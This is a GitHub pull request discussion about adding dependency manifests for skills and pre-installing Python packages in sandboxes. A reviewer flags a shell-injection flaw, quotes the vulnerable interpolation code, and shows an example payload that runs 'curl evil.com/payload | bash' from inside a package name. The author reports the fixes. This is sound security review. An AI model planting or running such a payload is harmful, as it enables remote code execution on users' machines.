Skip to content

feat: make skills dependency metadata portable#84

Open
Sun-sunshine06 wants to merge 2 commits intoOpenCoworkAI:mainfrom
Sun-sunshine06:feat/skill-dependency-manifests-pr
Open

feat: make skills dependency metadata portable#84
Sun-sunshine06 wants to merge 2 commits intoOpenCoworkAI:mainfrom
Sun-sunshine06:feat/skill-dependency-manifests-pr

Conversation

@Sun-sunshine06
Copy link
Copy Markdown
Contributor

Summary\n- add machine-readable DEPENDENCIES.json manifests and compatibility metadata for built-in skills\n- validate dependency manifests, surface compatibility in settings, and pre-install required Python packages for active skills in WSL/Lima sandboxes\n- update skill-creator scaffolding/validation so new skills default toward portable, machine-readable runtime requirements\n\n## Testing\n-

px tsc --noEmit\n-
px vitest run tests/skills-manager-compatibility.test.ts tests/builtin-skill-portability.test.ts tests/skill-dependencies.test.ts\n-
px eslint src/main/skills/skill-dependencies.ts src/main/skills/skills-manager.ts src/main/sandbox/wsl-bridge.ts src/main/sandbox/lima-bridge.ts src/main/sandbox/sandbox-bootstrap.ts src/main/claude/agent-runner.ts src/renderer/utils/sandbox-i18n.ts src/renderer/types/index.ts tests/skills-manager-compatibility.test.ts tests/builtin-skill-portability.test.ts tests/skill-dependencies.test.ts\n- python -m py_compile .claude/skills/skill-creator/scripts/quick_validate.py .claude/skills/skill-creator/scripts/init_skill.py\n\n## Notes\n- keeps user-local credential encryption changes out of this PR\n- project-level .skills/ are now included in sandbox dependency collection, and linked skill directories are followed when aggregating manifests

Copy link
Copy Markdown
Collaborator

@hqhq1025 hqhq1025 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🚨 Request Changes — Security vulnerability + path resolution bug

The DEPENDENCIES.json architecture is sound, but the implementation has critical issues that must be fixed before merging.

🚨 P0: Shell injection via untrusted package names

Files: src/main/sandbox/wsl-bridge.ts, src/main/sandbox/lima-bridge.ts

Package names from DEPENDENCIES.json are interpolated directly into bash -c shell commands:

const packagesStr = missingPackages.map((pkg) => `"${pkg}"`).join(' ');
// → bash -c "python3 -m pip install --user ${packagesStr}"

A malicious .skills/evil/DEPENDENCIES.json in a project could contain:

{ "pythonPackages": ["foo\"; curl evil.com/payload | bash; #"] }

Note: escapeForDoubleQuotes() already exists in wsl-bridge.ts line 41 but is not used here.

Fix options:

  1. Validate package names: /^[a-zA-Z0-9._\-\[\]<>=!,]+$/
  2. Apply escapeForDoubleQuotes() to each package name
  3. Both (recommended)

🚨 P0: Duplicated getBuiltinSkillsPath with wrong priority

skill-dependencies.ts creates its own getBuiltinSkillsPath() with different path ordering than agent-runner.ts:

Priority agent-runner.ts skill-dependencies.ts
2 resourcesPath/skills asar.unpacked/.claude/skills
4 appPath/.claude/skills resourcesPath/skills

In production, these resolve to different directories. Dependency pre-install reads different manifests than the skills actually loaded by the agent.

Fix: Import from a shared utility or delegate to agent-runner's implementation.

P1: Overly broad skills/ directory scanning

Many projects have unrelated skills/ directories (Alexa skills, game skill trees, etc.). The bare skills/ candidate should be removed or require a sentinel file.

P1: Symlink following without containment check

fs.statSync follows symlinks in project .skills/ without verifying the target stays within the project root. The project already has isPathWithinRoot in path-containment.ts.

P2: Other issues

  • EMPTY_SUMMARY uses shared mutable arrays (shallow spread). Use Object.freeze or return fresh arrays.
  • WSL/Lima pip install blocks are 22 lines of near-identical code — extract a helper
  • 兼容性 hardcoded as Chinese defaultValue in SettingsSkills.tsx
  • zh.json missing compatibilityLabel translation
  • In-memory pip install cache doesn't handle partial failures
  • Test gaps: no coverage for shell injection, symlink traversal, caching edge cases

@Sun-sunshine06
Copy link
Copy Markdown
Contributor Author

Addressed the review feedback in d66c3dc. Summary:

  • removed shell interpolation from WSL/Lima pip installs, added package-spec validation, and now cache per-package successes across partial failures
  • centralized project skill directory discovery to .skills only and added containment checks for project symlinks
  • moved builtin dependency-manifest path resolution onto a shared helper so dependency discovery uses the same production ordering
  • replaced the shared mutable empty summary with fresh arrays
  • fixed the compatibility label i18n issue in SettingsSkills/zh locale
  • added regression coverage for package-spec rejection, symlink escape attempts, project skill discovery, and builtin path priority

Validation run locally:

  • npm run typecheck
  • npx vitest run tests/python-package-installer.test.ts tests/skill-paths.test.ts tests/skill-dependencies.test.ts tests/skills-manager-project-loading.test.ts tests/skills-manager-compatibility.test.ts

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants